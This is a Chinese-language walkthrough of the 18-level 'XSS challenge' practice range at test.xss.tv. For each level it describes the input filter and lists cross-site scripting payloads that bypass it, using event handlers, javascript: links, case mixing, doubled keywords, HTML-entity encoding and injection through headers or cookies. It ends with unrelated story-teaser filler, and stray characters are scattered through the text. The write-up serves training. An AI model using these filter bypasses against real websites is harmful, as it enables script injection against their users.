XSS挑戰(zhàn)之旅

在線靶場:http://test.xss.tv/
源碼:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA 密碼:85g8


靶場首頁是這樣的:


1.png

第一關

沒有任何過濾.

payload:
<script>alert(1)</script>
<svg/onload=alert(1)>
<script>prompt("完成的不錯寇荧!")</script>
<script>confirm("完成的不錯!")</script>

第二關

2.png

htmlspecialchars()函數(shù)把預定義的字符轉換為 HTML 實體谷扣。

預定義的字符是:
& (和號)成為 &amp;
" (雙引號)成為 &quot;
' (單引號)成為 &apos;
< (小于)成為 &lt;
> (大于)成為 &gt;

如需把特殊的 HTML 實體轉換回字符冈闭,使用htmlspecialchars_decode()函數(shù)囊陡。
htmlspecialchars()只在輸出點過濾,并沒有在輸入點過濾。

payload:
" onclick=alert(2) // 點擊搜索框彈框
" onmouseover=alert(1)> //鼠標劃過輸入框彈框
"><script>alert(2)</script>
"><script>prompt("完成的不錯!")</script>
"><script>confirm("完成的不錯摇零!")</script>

第三關

3.png

輸入點和輸出點都做了過濾。

payload:
‘ oninput=alert`3`
‘ oninput=alert`3` // 輸入后桶蝎,再在彈框輸入字符
' oninput=alert`1` '
' onchange=alert`1` // 輸入后驻仅,再在彈框輸入字符并點擊搜索
' onchange=alert`1` '

第四關

4.png

將輸入輸入中的<>置空。
將第三關前面用來閉合的單引號改成雙引號即可登渣。

payload:
" oninput=alert`3` // (輸入后噪服,再在彈框輸入字符)
" oninput=alert`1` '
" onchange=alert`1` // (輸入后,再在彈框輸入字符并點擊搜索)
" onchange=alert`1` '

第五關

5.png

首先將輸入內(nèi)容全部轉換為小寫胜茧,然后如果檢測有<script就轉換為<scr_ipt粘优,再檢測如果有on就轉換為o_n
不讓用<script>和事件了,這里用鏈接繞過。

payload:
"><a href="javascript:alert(1)">
"> <a href="javascript:alert('xss')">111</a> //

第六關

6.png

過濾<script雹顺、on丹墨、src、data嬉愧、href贩挣,但是過濾前沒有使用strtolower()全部轉換成小寫∮⑷荆可以大小寫繞過揽惹。

payload:
"><ScRipt>prompt(6)</script>
" oNchange=alert(6) //
" Oninput=alert(6) //
"><img Src=x Onerror=alert(6)> //

第七關

7.png

這關使用了strtolower函數(shù),不能大小寫繞過了四康,不過檢測到關鍵字后置空搪搏,可以使用雙寫繞過。

payload:
"><sscriptcript>alert(7)</scscriptript>
" oonnchange=alert`7` //
"><img ssrcrc=x oonnerror=alert(6)> //
"> <a hrhrefef="javascscriptript:alert('xss')">111</a> //

第八關

8.png

輸入點使用htmlspecialchars函數(shù)過濾闪金,不能雙寫繞過疯溺,不能大小寫繞過,過濾了雙引號哎垦〈涯郏可以編碼繞過,使用HTML實體編碼漏设。

payload:
javascript:alert(1)轉換為HTML實體:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
由于過濾的是script墨闲,也可以只轉換script:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(7)

輸入完提交,然后點友情鏈接即可郑口。

第九關

9.png

strpos() 函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置鸳碧。(對大小寫敏感)
相關函數(shù):
stripos() - 查找字符串在另一字符串中第一次出現(xiàn)的位置(不區(qū)分大小寫)
strripos() - 查找字符串在另一字符串中最后一次出現(xiàn)的位置(不區(qū)分大小寫)
strrpos() - 查找字符串在另一字符串中最后一次出現(xiàn)的位置(區(qū)分大小寫)

和第8關過濾一樣,區(qū)別是這關還會檢查輸入數(shù)據(jù)中是否有http://犬性。

payload:
javascript:alert("http:// ")
轉換HTML實體:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(&#x22;http:// &#x22;)

也可以只保留http://瞻离,剩下的全部轉換為html實體:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;http://&#x22;&#x29;

第十關

10.png

t_sort沒有進行過濾但是被隱藏了,不過并不影響傳參乒裆。

payload:
url=&t_sort=" type="text" onclick="alert()
?t_sort=4" onclick=alert(1) type="text"
?keyword=888888&t_sort=" type="" onclick="alert()
?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

第十一關

11.png

獲取http頭中referer的值套利,所以在referer中寫就好了。

payload:
" onmouseover=alert(11) type="text"

第十二關

12.png

和11關思路一樣鹤耍,這次是在user-agent

payload:
" onmouseover=alert(12) type=""

第十三關

13.png

在cookie中注入

payload:
" onmouseover=alert(13) type=""

第十四關

14關有些問題肉迫,看一些大佬的教程應該會有個上傳文件的功能,但是這里什么都沒有顯示出來惰蜜。
這關是利用修改exif信息昂拂,在exif信息中寫入xss代碼,然后上傳上去抛猖,別人點擊這個圖片就會中招格侯”翘可以去烏云鏡像站看一下案例,關鍵字:exif

第十五關

15.png

這關用到了ng-include联四,直接在包含的頁面里用 <script> 觸發(fā)不了撑碴,用了img標簽。
遵循SOP朝墩,只好調(diào)用第一關代碼醉拓。需要單引號包裹,否則變成注釋收苏。
這關看大佬的payload是這樣的:level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'亿卤,但是我沒做出來

第十六關

16.png

先將輸入字符轉換為小寫,然后過濾script鹿霸、空格排吴、/
用%0d、%0a代替空格做分割符懦鼠。

payload:
keyword=<img%0Dsrc=a%0Aonerror=alert(16)>
keyword=<svg%0aonload=alert`1`></svg>

第十七關

17.png

輸出點在url中钻哩,被htmlspecialchars()函數(shù)過濾了一遍,用事件肛冶。

payload:
level17.php?arg01=a&arg02=b onmouseover=alert(18)

第十八關

18.png

感覺和17關沒什么區(qū)別

payload:
level18.php?arg01=a&arg02=b onmouseout=alert(1)

參考鏈接:
XSS挑戰(zhàn)之旅---游戲通關攻略(更新至18關)
XSS挑戰(zhàn)之旅 解題記錄
xss挑戰(zhàn)平臺練習

最后編輯于
?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末街氢,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子睦袖,更是在濱河造成了極大的恐慌珊肃,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,383評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件馅笙,死亡現(xiàn)場離奇詭異近范,居然都是意外死亡,警方通過查閱死者的電腦和手機延蟹,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,522評論 3 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來叶堆,“玉大人阱飘,你說我怎么就攤上這事∈牛” “怎么了沥匈?”我有些...
    開封第一講書人閱讀 157,852評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長忘渔。 經(jīng)常有香客問我高帖,道長,這世上最難降的妖魔是什么畦粮? 我笑而不...
    開封第一講書人閱讀 56,621評論 1 284
  • 正文 為了忘掉前任散址,我火速辦了婚禮乖阵,結果婚禮上,老公的妹妹穿的比我還像新娘预麸。我一直安慰自己瞪浸,他們只是感情好,可當我...
    茶點故事閱讀 65,741評論 6 386
  • 文/花漫 我一把揭開白布吏祸。 她就那樣靜靜地躺著对蒲,像睡著了一般。 火紅的嫁衣襯著肌膚如雪贡翘。 梳的紋絲不亂的頭發(fā)上蹈矮,一...
    開封第一講書人閱讀 49,929評論 1 290
  • 那天,我揣著相機與錄音鸣驱,去河邊找鬼泛鸟。 笑死,一個胖子當著我的面吹牛丐巫,可吹牛的內(nèi)容都是我干的谈况。 我是一名探鬼主播,決...
    沈念sama閱讀 39,076評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼递胧,長吁一口氣:“原來是場噩夢啊……” “哼碑韵!你這毒婦竟也來了?” 一聲冷哼從身側響起缎脾,我...
    開封第一講書人閱讀 37,803評論 0 268
  • 序言:老撾萬榮一對情侶失蹤祝闻,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后遗菠,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體联喘,經(jīng)...
    沈念sama閱讀 44,265評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,582評論 2 327
  • 正文 我和宋清朗相戀三年辙纬,在試婚紗的時候發(fā)現(xiàn)自己被綠了豁遭。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,716評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡贺拣,死狀恐怖蓖谢,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情譬涡,我是刑警寧澤闪幽,帶...
    沈念sama閱讀 34,395評論 4 333
  • 正文 年R本政府宣布,位于F島的核電站涡匀,受9級特大地震影響盯腌,放射性物質發(fā)生泄漏。R本人自食惡果不足惜陨瘩,卻給世界環(huán)境...
    茶點故事閱讀 40,039評論 3 316
  • 文/蒙蒙 一腕够、第九天 我趴在偏房一處隱蔽的房頂上張望级乍。 院中可真熱鬧,春花似錦燕少、人聲如沸卡者。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,798評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽崇决。三九已至,卻和暖如春底挫,著一層夾襖步出監(jiān)牢的瞬間恒傻,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,027評論 1 266
  • 我被黑心中介騙來泰國打工建邓, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留盈厘,地道東北人。 一個月前我還...
    沈念sama閱讀 46,488評論 2 361
  • 正文 我出身青樓官边,卻偏偏與公主長得像沸手,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子注簿,可洞房花燭夜當晚...
    茶點故事閱讀 43,612評論 2 350